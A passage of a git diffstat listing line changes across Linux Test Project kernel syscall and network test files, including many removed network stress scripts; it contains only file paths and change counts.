| 99 ++ ltp/testcases/kernel/syscalls/clone/clone11.c | 80 + .../kernel/syscalls/clone3/.gitignore | 1 + .../kernel/syscalls/clone3/clone301.c | 6 +- .../kernel/syscalls/clone3/clone302.c | 2 +- .../kernel/syscalls/clone3/clone304.c | 92 + ltp/testcases/kernel/syscalls/close/close01.c | 6 +- ltp/testcases/kernel/syscalls/close/close02.c | 39 +- .../kernel/syscalls/connect/connect01.c | 2 +- ltp/testcases/kernel/syscalls/creat/creat01.c | 7 +- ltp/testcases/kernel/syscalls/creat/creat03.c | 4 +- ltp/testcases/kernel/syscalls/creat/creat04.c | 4 +- ltp/testcases/kernel/syscalls/creat/creat05.c | 4 +- ltp/testcases/kernel/syscalls/creat/creat06.c | 45 +- ltp/testcases/kernel/syscalls/creat/creat07.c | 4 +- ltp/testcases/kernel/syscalls/creat/creat08.c | 4 +- ltp/testcases/kernel/syscalls/creat/creat09.c | 27 +- .../syscalls/epoll_pwait/epoll_pwait06.c | 1 + .../kernel/syscalls/execve/execve01.c | 16 +- .../kernel/syscalls/execve/execve02.c | 11 +- .../kernel/syscalls/execve/execve03.c | 40 +- .../kernel/syscalls/execve/execve04.c | 5 +- .../kernel/syscalls/execve/execve05.c | 4 +- .../kernel/syscalls/execve/execve06.c | 2 +- .../kernel/syscalls/fallocate/fallocate01.c | 2 +- .../kernel/syscalls/fallocate/fallocate02.c | 2 +- .../kernel/syscalls/fallocate/fallocate03.c | 2 +- .../kernel/syscalls/fallocate/fallocate04.c | 10 +- .../kernel/syscalls/fallocate/fallocate05.c | 16 +- .../kernel/syscalls/fallocate/fallocate06.c | 14 +- .../kernel/syscalls/fanotify/.gitignore | 1 + .../kernel/syscalls/fanotify/fanotify01.c | 2 +- .../kernel/syscalls/fanotify/fanotify02.c | 2 +- .../kernel/syscalls/fanotify/fanotify03.c | 2 +- .../kernel/syscalls/fanotify/fanotify04.c | 2 +- .../kernel/syscalls/fanotify/fanotify05.c | 3 +- .../kernel/syscalls/fanotify/fanotify06.c | 3 +- .../kernel/syscalls/fanotify/fanotify07.c | 3 +- .../kernel/syscalls/fanotify/fanotify08.c | 3 +- .../kernel/syscalls/fanotify/fanotify09.c | 4 +- .../kernel/syscalls/fanotify/fanotify10.c | 8 +- .../kernel/syscalls/fanotify/fanotify11.c | 2 +- .../kernel/syscalls/fanotify/fanotify12.c | 4 +- .../kernel/syscalls/fanotify/fanotify13.c | 7 +- .../kernel/syscalls/fanotify/fanotify14.c | 8 +- .../kernel/syscalls/fanotify/fanotify15.c | 8 +- .../kernel/syscalls/fanotify/fanotify16.c | 4 +- .../kernel/syscalls/fanotify/fanotify17.c | 8 +- .../kernel/syscalls/fanotify/fanotify18.c | 4 +- .../kernel/syscalls/fanotify/fanotify19.c | 8 +- .../kernel/syscalls/fanotify/fanotify20.c | 13 +- .../kernel/syscalls/fanotify/fanotify21.c | 10 +- .../kernel/syscalls/fanotify/fanotify22.c | 126 +- .../kernel/syscalls/fanotify/fanotify23.c | 2 +- .../kernel/syscalls/fanotify/fanotify24.c | 169 +- .../kernel/syscalls/fanotify/fanotify25.c | 126 ++ .../kernel/syscalls/fchmod/fchmod06.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl07.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl11.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl16.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl19.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl20.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl31.c | 2 +- ltp/testcases/kernel/syscalls/fcntl/fcntl32.c | 2 +- .../kernel/syscalls/fdatasync/fdatasync02.c | 2 +- .../kernel/syscalls/file_attr/.gitignore | 1 + .../kernel/syscalls/file_attr/file_attr02.c | 33 +- .../kernel/syscalls/file_attr/file_attr05.c | 63 + ltp/testcases/kernel/syscalls/fork/fork09.c | 221 +-- .../kernel/syscalls/fsetxattr/fsetxattr02.c | 28 +- .../kernel/syscalls/fsmount/fsmount02.c | 2 +- .../kernel/syscalls/fstatat/fstatat01.c | 2 +- .../kernel/syscalls/futimesat/futimesat01.c | 2 +- .../syscalls/get_mempolicy/get_mempolicy01.c | 8 +- .../syscalls/get_mempolicy/get_mempolicy02.c | 8 +- .../get_robust_list/get_robust_list01.c | 2 +- .../kernel/syscalls/getrusage/getrusage04.c | 2 +- .../kernel/syscalls/inotify/inotify01.c | 17 +- .../kernel/syscalls/inotify/inotify02.c | 21 +- .../kernel/syscalls/inotify/inotify03.c | 14 +- .../kernel/syscalls/inotify/inotify04.c | 4 +- .../kernel/syscalls/inotify/inotify05.c | 7 +- .../kernel/syscalls/inotify/inotify07.c | 7 +- .../kernel/syscalls/inotify/inotify08.c | 7 +- .../kernel/syscalls/inotify/inotify10.c | 4 +- .../kernel/syscalls/io_submit/.gitignore | 1 + .../kernel/syscalls/io_submit/io_submit04.c | 99 ++ .../kernel/syscalls/io_uring/.gitignore | 1 + .../kernel/syscalls/io_uring/io_uring01.c | 145 +- .../kernel/syscalls/io_uring/io_uring03.c | 140 ++ .../syscalls/io_uring/io_uring_common.h | 278 +++ .../kernel/syscalls/ioctl/.gitignore | 1 + ltp/testcases/kernel/syscalls/ioctl/ioctl01.c | 2 +- ltp/testcases/kernel/syscalls/ioctl/ioctl04.c | 2 +- ltp/testcases/kernel/syscalls/ioctl/ioctl05.c | 2 +- ltp/testcases/kernel/syscalls/ioctl/ioctl06.c | 2 +- ltp/testcases/kernel/syscalls/ioctl/ioctl07.c | 2 +- ltp/testcases/kernel/syscalls/ioctl/ioctl08.c | 6 +- ltp/testcases/kernel/syscalls/ioctl/ioctl09.c | 14 +- ltp/testcases/kernel/syscalls/ioctl/ioctl10.c | 5 +- .../kernel/syscalls/ioctl/ioctl_ficlone01.c | 4 +- .../kernel/syscalls/ioctl/ioctl_ficlone02.c | 6 +- .../kernel/syscalls/ioctl/ioctl_ficlone03.c | 4 +- .../kernel/syscalls/ioctl/ioctl_ficlone04.c | 4 +- .../syscalls/ioctl/ioctl_ficlonerange01.c | 4 +- .../syscalls/ioctl/ioctl_ficlonerange02.c | 3 +- .../kernel/syscalls/ioctl/ioctl_getlbmd01.c | 83 + .../kernel/syscalls/ioctl/ioctl_loop01.c | 45 +- .../kernel/syscalls/ioctl/ioctl_loop02.c | 12 +- .../kernel/syscalls/ioctl/ioctl_loop03.c | 6 +- .../kernel/syscalls/ioctl/ioctl_loop04.c | 8 +- .../kernel/syscalls/ioctl/ioctl_loop05.c | 10 +- .../kernel/syscalls/ioctl/ioctl_loop06.c | 10 +- .../kernel/syscalls/ioctl/ioctl_loop07.c | 11 +- .../kernel/syscalls/ioctl/ioctl_ns05.c | 4 + .../kernel/syscalls/ioctl/ioctl_pidfd.h | 28 + .../kernel/syscalls/ioctl/ioctl_pidfd01.c | 4 +- .../kernel/syscalls/ioctl/ioctl_pidfd02.c | 9 +- .../kernel/syscalls/ioctl/ioctl_pidfd03.c | 13 +- .../kernel/syscalls/ioctl/ioctl_pidfd04.c | 11 +- .../kernel/syscalls/ioctl/ioctl_pidfd05.c | 31 +- .../kernel/syscalls/ioctl/ioctl_pidfd06.c | 20 +- .../kernel/syscalls/ioctl/ioctl_sg01.c | 69 +- .../kernel/syscalls/ipc/msgctl/msgctl01.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl02.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl03.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl04.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl05.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl06.c | 2 +- .../kernel/syscalls/ipc/msgctl/msgctl12.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget01.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget02.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget03.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget04.c | 2 +- .../kernel/syscalls/ipc/msgget/msgget05.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv01.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv02.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv03.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv05.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv06.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv07.c | 2 +- .../kernel/syscalls/ipc/msgrcv/msgrcv08.c | 2 +- .../kernel/syscalls/ipc/msgsnd/msgsnd01.c | 2 +- .../kernel/syscalls/ipc/msgsnd/msgsnd02.c | 2 +- .../kernel/syscalls/ipc/msgsnd/msgsnd05.c | 2 +- .../kernel/syscalls/ipc/msgsnd/msgsnd06.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl01.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl02.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl03.c | 7 +- .../kernel/syscalls/ipc/semctl/semctl04.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl05.c | 8 +- .../kernel/syscalls/ipc/semctl/semctl06.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl07.c | 5 +- .../kernel/syscalls/ipc/semctl/semctl08.c | 2 +- .../kernel/syscalls/ipc/semctl/semctl09.c | 2 +- .../kernel/syscalls/ipc/semget/semget01.c | 2 +- .../kernel/syscalls/ipc/semget/semget02.c | 2 +- .../kernel/syscalls/ipc/semget/semget05.c | 2 +- .../kernel/syscalls/ipc/semop/semop01.c | 2 +- .../kernel/syscalls/ipc/semop/semop02.c | 2 +- .../kernel/syscalls/ipc/semop/semop03.c | 2 +- .../kernel/syscalls/ipc/shmat/shmat01.c | 2 +- .../kernel/syscalls/ipc/shmat/shmat02.c | 2 +- .../kernel/syscalls/ipc/shmat/shmat04.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl01.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl02.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl03.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl04.c | 26 +- .../kernel/syscalls/ipc/shmctl/shmctl06.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl07.c | 2 +- .../kernel/syscalls/ipc/shmctl/shmctl08.c | 2 +- .../kernel/syscalls/ipc/shmdt/shmdt01.c | 2 +- .../kernel/syscalls/ipc/shmdt/shmdt02.c | 2 +- .../kernel/syscalls/ipc/shmget/shmget02.c | 2 +- .../kernel/syscalls/ipc/shmget/shmget03.c | 2 +- .../kernel/syscalls/ipc/shmget/shmget04.c | 2 +- .../kernel/syscalls/ipc/shmget/shmget05.c | 2 +- .../kernel/syscalls/ipc/shmget/shmget06.c | 2 +- ltp/testcases/kernel/syscalls/kill/kill05.c | 2 +- .../kernel/syscalls/landlock/landlock07.c | 9 +- .../kernel/syscalls/landlock/landlock08.c | 16 + .../kernel/syscalls/linkat/linkat01.c | 2 +- .../kernel/syscalls/linkat/linkat02.c | 2 +- .../kernel/syscalls/listen/listen01.c | 2 +- .../kernel/syscalls/listmount/listmount.h | 2 +- .../kernel/syscalls/listmount/listmount04.c | 44 +- ltp/testcases/kernel/syscalls/lstat/lstat03.c | 2 +- .../kernel/syscalls/madvise/madvise09.c | 94 +- .../kernel/syscalls/madvise/madvise11.c | 13 +- ltp/testcases/kernel/syscalls/mbind/mbind01.c | 8 +- ltp/testcases/kernel/syscalls/mbind/mbind02.c | 26 +- ltp/testcases/kernel/syscalls/mbind/mbind03.c | 28 +- ltp/testcases/kernel/syscalls/mbind/mbind04.c | 24 +- .../syscalls/memfd_create/memfd_create01.c | 8 +- .../syscalls/memfd_create/memfd_create02.c | 10 +- .../syscalls/migrate_pages/migrate_pages01.c | 2 +- .../kernel/syscalls/mincore/mincore01.c | 2 +- .../kernel/syscalls/mkdirat/mkdirat01.c | 2 +- .../kernel/syscalls/mknodat/mknodat01.c | 2 +- .../kernel/syscalls/mknodat/mknodat02.c | 2 +- .../kernel/syscalls/mlockall/mlockall02.c | 2 +- .../kernel/syscalls/mlockall/mlockall03.c | 2 +- ltp/testcases/kernel/syscalls/mmap/mmap04.c | 3 +- ltp/testcases/kernel/syscalls/mmap/mmap09.c | 2 +- ltp/testcases/kernel/syscalls/mmap/mmap22.c | 83 +- ltp/testcases/kernel/syscalls/mount/mount03.c | 2 +- ltp/testcases/kernel/syscalls/mount/mount07.c | 6 +- .../syscalls/mount_setattr/mount_setattr01.c | 83 +- .../kernel/syscalls/move_pages/move_pages11.c | 2 +- .../kernel/syscalls/mprotect/mprotect01.c | 2 +- .../kernel/syscalls/mprotect/mprotect02.c | 2 +- .../kernel/syscalls/mprotect/mprotect03.c | 2 +- .../kernel/syscalls/mprotect/mprotect04.c | 9 +- .../kernel/syscalls/mq_unlink/mq_unlink01.c | 14 +- .../kernel/syscalls/mremap/.gitignore | 1 + ltp/testcases/kernel/syscalls/mremap/Makefile | 1 + .../kernel/syscalls/mremap/mremap01.c | 2 +- .../kernel/syscalls/mremap/mremap05.c | 2 +- .../kernel/syscalls/mremap/mremap07.c | 167 ++ ltp/testcases/kernel/syscalls/mseal/mseal02.c | 16 +- ltp/testcases/kernel/syscalls/msync/msync03.c | 2 +- .../kernel/syscalls/munmap/munmap04.c | 4 + .../syscalls/name_to_handle_at/.gitignore | 1 + .../name_to_handle_at/name_to_handle_at03.c | 88 + .../kernel/syscalls/newuname/newuname01.c | 186 +-- ltp/testcases/kernel/syscalls/open/open01.c | 23 +- ltp/testcases/kernel/syscalls/open/open02.c | 12 +- ltp/testcases/kernel/syscalls/open/open03.c | 5 +- ltp/testcases/kernel/syscalls/open/open04.c | 32 +- ltp/testcases/kernel/syscalls/open/open06.c | 2 +- ltp/testcases/kernel/syscalls/open/open07.c | 5 +- ltp/testcases/kernel/syscalls/open/open08.c | 2 +- ltp/testcases/kernel/syscalls/open/open09.c | 6 +- ltp/testcases/kernel/syscalls/open/open10.c | 2 +- ltp/testcases/kernel/syscalls/open/open11.c | 9 +- ltp/testcases/kernel/syscalls/open/open12.c | 4 +- .../kernel/syscalls/open/open12_child.c | 12 +- ltp/testcases/kernel/syscalls/open/open13.c | 6 +- ltp/testcases/kernel/syscalls/open/open14.c | 4 +- ltp/testcases/kernel/syscalls/open/open15.c | 10 +- .../open_by_handle_at/open_by_handle_at01.c | 2 +- .../open_by_handle_at/open_by_handle_at02.c | 3 +- .../kernel/syscalls/open_tree/open_tree01.c | 7 +- .../kernel/syscalls/open_tree/open_tree02.c | 7 +- .../kernel/syscalls/openat/openat01.c | 2 +- .../kernel/syscalls/openat/openat02.c | 2 +- .../kernel/syscalls/openat/openat03.c | 2 +- .../kernel/syscalls/openat/openat04.c | 11 +- .../kernel/syscalls/openat2/openat201.c | 10 +- .../kernel/syscalls/openat2/openat202.c | 10 +- .../kernel/syscalls/openat2/openat203.c | 10 +- .../perf_event_open/perf_event_open01.c | 2 +- ltp/testcases/kernel/syscalls/pipe/pipe04.c | 2 +- ltp/testcases/kernel/syscalls/pipe/pipe09.c | 2 +- ltp/testcases/kernel/syscalls/poll/.gitignore | 2 + ltp/testcases/kernel/syscalls/poll/poll01.c | 41 +- ltp/testcases/kernel/syscalls/poll/poll02.c | 8 +- ltp/testcases/kernel/syscalls/poll/poll03.c | 61 + ltp/testcases/kernel/syscalls/poll/poll04.c | 63 + ltp/testcases/kernel/syscalls/ppoll/ppoll01.c | 2 +- .../kernel/syscalls/profil/profil01.c | 2 +- .../kernel/syscalls/quotactl/quotactl01.c | 10 +- .../kernel/syscalls/quotactl/quotactl04.c | 10 +- .../kernel/syscalls/quotactl/quotactl06.c | 10 +- .../kernel/syscalls/quotactl/quotactl08.c | 10 +- .../kernel/syscalls/quotactl/quotactl09.c | 10 +- .../kernel/syscalls/readahead/readahead02.c | 117 +- ltp/testcases/kernel/syscalls/recv/recv01.c | 2 +- .../kernel/syscalls/recvfrom/recvfrom01.c | 2 +- .../syscalls/removexattr/removexattr01.c | 2 +- .../syscalls/removexattr/removexattr02.c | 2 +- .../kernel/syscalls/rename/rename11.c | 2 +- .../kernel/syscalls/renameat/renameat01.c | 2 +- .../kernel/syscalls/renameat2/renameat201.c | 2 +- .../kernel/syscalls/renameat2/renameat202.c | 2 +- .../rt_sigprocmask/rt_sigprocmask02.c | 2 +- .../rt_sigtimedwait/rt_sigtimedwait01.c | 30 +- .../sched_setparam/sched_setparam03.c | 1 + .../kernel/syscalls/select/select01.c | 2 +- .../kernel/syscalls/select/select02.c | 2 +- .../kernel/syscalls/select/select03.c | 2 +- .../kernel/syscalls/select/select04.c | 2 +- ltp/testcases/kernel/syscalls/send/send01.c | 2 +- .../kernel/syscalls/sendmsg/sendmsg01.c | 2 +- .../kernel/syscalls/sendmsg/sendmsg02.c | 2 +- .../kernel/syscalls/sendto/sendto01.c | 2 +- .../syscalls/set_mempolicy/set_mempolicy.h | 10 +- .../syscalls/set_mempolicy/set_mempolicy01.c | 16 +- .../syscalls/set_mempolicy/set_mempolicy02.c | 10 +- .../syscalls/set_mempolicy/set_mempolicy03.c | 14 +- .../syscalls/set_mempolicy/set_mempolicy04.c | 10 +- .../kernel/syscalls/setfsuid/setfsuid04.c | 2 +- .../kernel/syscalls/setrlimit/setrlimit01.c | 2 +- .../kernel/syscalls/setrlimit/setrlimit02.c | 6 +- .../kernel/syscalls/setrlimit/setrlimit03.c | 11 +- .../kernel/syscalls/setrlimit/setrlimit04.c | 18 +- .../kernel/syscalls/setrlimit/setrlimit05.c | 5 +- .../kernel/syscalls/setrlimit/setrlimit06.c | 2 +- .../kernel/syscalls/setxattr/setxattr02.c | 23 +- .../kernel/syscalls/signalfd4/signalfd4_01.c | 2 +- .../kernel/syscalls/signalfd4/signalfd4_02.c | 2 +- .../kernel/syscalls/sigpending/sigpending02.c | 2 +- .../kernel/syscalls/sigrelse/sigrelse01.c | 2 +- .../syscalls/sigtimedwait/sigtimedwait01.c | 22 +- .../kernel/syscalls/sigwait/sigwait01.c | 8 +- .../syscalls/sigwaitinfo/sigwaitinfo01.c | 18 +- .../kernel/syscalls/sockioctl/sockioctl01.c | 2 +- .../kernel/syscalls/statmount/statmount.h | 2 +- .../kernel/syscalls/statmount/statmount09.c | 4 + ltp/testcases/kernel/syscalls/statx/statx05.c | 8 +- ltp/testcases/kernel/syscalls/statx/statx06.c | 2 +- ltp/testcases/kernel/syscalls/statx/statx07.c | 6 +- ltp/testcases/kernel/syscalls/statx/statx09.c | 6 +- .../kernel/syscalls/swapoff/swapoff01.c | 2 +- .../kernel/syscalls/swapoff/swapoff02.c | 2 +- .../kernel/syscalls/swapon/swapon01.c | 2 +- .../kernel/syscalls/swapon/swapon02.c | 2 +- .../kernel/syscalls/swapon/swapon03.c | 66 +- .../kernel/syscalls/symlink/symlink03.c | 2 +- .../kernel/syscalls/symlinkat/symlinkat01.c | 2 +- .../kernel/syscalls/sysinfo/sysinfo01.c | 218 +-- .../kernel/syscalls/sysinfo/sysinfo02.c | 139 +- ltp/testcases/kernel/syscalls/tee/tee01.c | 8 +- ltp/testcases/kernel/syscalls/time/time01.c | 17 +- ltp/testcases/kernel/syscalls/ulimit/README | 4 - .../kernel/syscalls/ulimit/ulimit01.c | 268 +-- .../kernel/syscalls/umount/umount01.c | 2 +- .../kernel/syscalls/umount/umount02.c | 4 +- .../kernel/syscalls/umount/umount03.c | 2 +- .../kernel/syscalls/umount2/umount2_01.c | 2 +- .../kernel/syscalls/umount2/umount2_02.c | 10 +- .../kernel/syscalls/unlink/unlink05.c | 6 +- .../kernel/syscalls/unlink/unlink07.c | 2 +- .../kernel/syscalls/unlink/unlink08.c | 2 +- .../kernel/syscalls/unlink/unlink09.c | 2 +- .../kernel/syscalls/unlink/unlink10.c | 4 +- .../kernel/syscalls/unlinkat/unlinkat01.c | 2 +- .../kernel/syscalls/unshare/unshare01.c | 6 +- .../kernel/syscalls/unshare/unshare02.c | 2 +- .../kernel/syscalls/unshare/unshare05.c | 4 + .../kernel/syscalls/userfaultfd/.gitignore | 5 + .../kernel/syscalls/userfaultfd/Makefile | 5 + .../syscalls/userfaultfd/userfaultfd01.c | 103 +- .../syscalls/userfaultfd/userfaultfd02.c | 106 ++ .../syscalls/userfaultfd/userfaultfd03.c | 145 ++ .../syscalls/userfaultfd/userfaultfd04.c | 111 ++ .../syscalls/userfaultfd/userfaultfd05.c | 144 ++ .../syscalls/userfaultfd/userfaultfd06.c | 146 ++ ltp/testcases/kernel/syscalls/ustat/ustat01.c | 4 + ltp/testcases/kernel/syscalls/ustat/ustat02.c | 4 + ltp/testcases/kernel/syscalls/utils/mq.h | 15 +- ltp/testcases/kernel/syscalls/vfork/vfork01.c | 374 +---- ltp/testcases/kernel/syscalls/vfork/vfork02.c | 248 +-- .../kernel/syscalls/vmsplice/vmsplice01.c | 5 +- ltp/testcases/kernel/uevents/uevent01.c | 4 +- ltp/testcases/kernel/uevents/uevent02.c | 4 +- ltp/testcases/kernel/uevents/uevent03.c | 6 +- ltp/testcases/kernel/watchqueue/common.h | 4 +- ltp/testcases/lib/.gitignore | 2 + ltp/testcases/lib/Makefile | 2 +- ltp/testcases/lib/run_tests.sh | 1 + ltp/testcases/lib/tests/shell_loader_cmd.sh | 28 + .../lib/tests/shell_loader_filesystems.sh | 9 + ltp/testcases/lib/tst_device.c | 2 +- ltp/testcases/lib/tst_net.sh | 59 +- ltp/testcases/lib/tst_remaining_runtime.c | 26 + ltp/testcases/lib/tst_run.sh | 4 +- ltp/testcases/lib/tst_run_shell.c | 77 +- ltp/testcases/lib/tst_runas.c | 51 + ltp/testcases/lib/tst_test.sh | 6 +- ltp/testcases/misc/lvm/cleanup_lvm.sh | 3 +- .../misc/lvm/generate_lvm_runfile.sh | 3 +- ltp/testcases/misc/lvm/prepare_lvm.sh | 3 +- ltp/testcases/network/.gitignore | 4 - ltp/testcases/network/README.md | 20 +- ltp/testcases/network/can/cve/can_bcm01.c | 6 +- .../network/can/filter-tests/INSTALL | 2 +- .../network/can/filter-tests/can_filter.c | 6 +- .../can/filter-tests/can_rcv_own_msgs.c | 6 +- ltp/testcases/network/lib6/asapi_01.c | 2 +- ltp/testcases/network/lib6/asapi_02.c | 4 +- ltp/testcases/network/lib6/asapi_03.c | 2 +- .../network/nfs/nfs_stress/nfs_lib.sh | 22 +- ltp/testcases/network/rpc/rpc-tirpc/README | 2 +- ltp/testcases/network/sockets/.gitignore | 2 + ltp/testcases/network/sockets/xfrm01.c | 245 +++ ltp/testcases/network/sockets/xfrm02.c | 231 +++ ltp/testcases/network/stress/icmp/Makefile | 2 +- .../icmp/multi-diffip/00_Descriptions.txt | 56 - .../network/stress/icmp/multi-diffip/Makefile | 29 - .../icmp/multi-diffip/icmp4-multi-diffip01 | 378 ----- .../icmp/multi-diffip/icmp4-multi-diffip02 | 66 - .../icmp/multi-diffip/icmp4-multi-diffip03 | 67 - .../icmp/multi-diffip/icmp4-multi-diffip04 | 66 - .../icmp/multi-diffip/icmp4-multi-diffip05 | 67 - .../icmp/multi-diffip/icmp4-multi-diffip06 | 67 - .../icmp/multi-diffip/icmp4-multi-diffip07 | 66 - .../icmp/multi-diffip/icmp6-multi-diffip01 | 56 - .../icmp/multi-diffip/icmp6-multi-diffip02 | 66 - .../icmp/multi-diffip/icmp6-multi-diffip03 | 67 - .../icmp/multi-diffip/icmp6-multi-diffip04 | 66 - .../icmp/multi-diffip/icmp6-multi-diffip05 | 67 - .../icmp/multi-diffip/icmp6-multi-diffip06 | 67 - .../icmp/multi-diffip/icmp6-multi-diffip07 | 66 - .../icmp/multi-diffnic/00_Descriptions.txt | 56 - .../stress/icmp/multi-diffnic/Makefile | 29 - .../icmp/multi-diffnic/icmp4-multi-diffnic01 | 301 ---- .../icmp/multi-diffnic/icmp4-multi-diffnic02 | 66 - .../icmp/multi-diffnic/icmp4-multi-diffnic03 | 67 - .../icmp/multi-diffnic/icmp4-multi-diffnic04 | 66 - .../icmp/multi-diffnic/icmp4-multi-diffnic05 | 67 - .../icmp/multi-diffnic/icmp4-multi-diffnic06 | 67 - .../icmp/multi-diffnic/icmp4-multi-diffnic07 | 66 - .../icmp/multi-diffnic/icmp6-multi-diffnic01 | 56 - .../icmp/multi-diffnic/icmp6-multi-diffnic02 | 66 - .../icmp/multi-diffnic/icmp6-multi-diffnic03 | 67 - .../icmp/multi-diffnic/icmp6-multi-diffnic04 | 66 - .../icmp/multi-diffnic/icmp6-multi-diffnic05 | 67 - .../icmp/multi-diffnic/icmp6-multi-diffnic06 | 67 - .../icmp/multi-diffnic/icmp6-multi-diffnic07 | 66 - .../stress/ns-tools/00_Descriptions.txt | 64 - .../network/stress/ns-tools/Makefile | 7 +- .../network/stress/ns-tools/add_ipv6addr | 93 -- .../network/stress/ns-tools/check_envval | 88 - .../stress/ns-tools/check_icmpv4_connectivity | 70 - .../stress/ns-tools/check_icmpv6_connectivity | 71 - .../network/stress/ns-tools/check_netem | 73 - .../network/stress/ns-tools/check_setkey | 66 - .../network/stress/ns-tools/find_portbundle | 128 -- .../network/stress/ns-tools/get_ifname | 103 -- .../network/stress/ns-tools/initialize_if | 89 - .../stress/ns-tools/killall_icmp_traffic | 83 - .../stress/ns-tools/killall_tcp_traffic | 102 -- .../stress/ns-tools/killall_udp_traffic | 101 -- .../network/stress/ns-tools/ns-echoclient | 140 -- .../network/stress/ns-tools/ns-tcpclient.c | 346 ---- .../network/stress/ns-tools/ns-tcpserver.c | 650 -------- .../network/stress/ns-tools/ns-udpclient.c | 346 ---- .../network/stress/ns-tools/ns-udpserver.c | 375 ----- .../network/stress/ns-tools/output_ipsec_conf | 172 -- .../network/stress/ns-tools/set_ipv4addr | 95 -- .../network/stress/route/00_Descriptions.txt | 6 - .../network/stress/route/route4-rmmod | 283 ---- .../network/stress/route/route6-rmmod | 279 ---- .../network/stress/ssh/ssh-stress.sh | 12 +- ltp/testcases/network/stress/tcp/Makefile | 5 +- .../tcp/multi-diffip/00_Descriptions.txt | 125 -- .../network/stress/tcp/multi-diffip/Makefile | 29 - .../tcp/multi-diffip/tcp4-multi-diffip01 | 450 ----- .../tcp/multi-diffip/tcp4-multi-diffip02 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip03 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip04 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip05 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip06 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip07 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip08 | 64 - .../tcp/multi-diffip/tcp4-multi-diffip09 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip10 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip11 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip12 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip13 | 70 - .../tcp/multi-diffip/tcp4-multi-diffip14 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip01 | 64 - .../tcp/multi-diffip/tcp6-multi-diffip02 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip03 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip04 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip05 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip06 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip07 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip08 | 64 - .../tcp/multi-diffip/tcp6-multi-diffip09 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip10 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip11 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip12 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip13 | 70 - .../tcp/multi-diffip/tcp6-multi-diffip14 | 70 - .../tcp/multi-diffnic/00_Descriptions.txt | 125 -- .../network/stress/tcp/multi-diffnic/Makefile | 29 - .../tcp/multi-diffnic/tcp4-multi-diffnic01 | 383 ----- .../tcp/multi-diffnic/tcp4-multi-diffnic02 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic03 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic04 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic05 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic06 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic07 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic08 | 64 - .../tcp/multi-diffnic/tcp4-multi-diffnic09 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic10 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic11 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic12 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic13 | 70 - .../tcp/multi-diffnic/tcp4-multi-diffnic14 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic01 | 64 - .../tcp/multi-diffnic/tcp6-multi-diffnic02 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic03 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic04 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic05 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic06 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic07 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic08 | 64 - .../tcp/multi-diffnic/tcp6-multi-diffnic09 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic10 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic11 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic12 | 70 - .../tcp/multi-diffnic/tcp6-multi-diffnic13 | 70 - 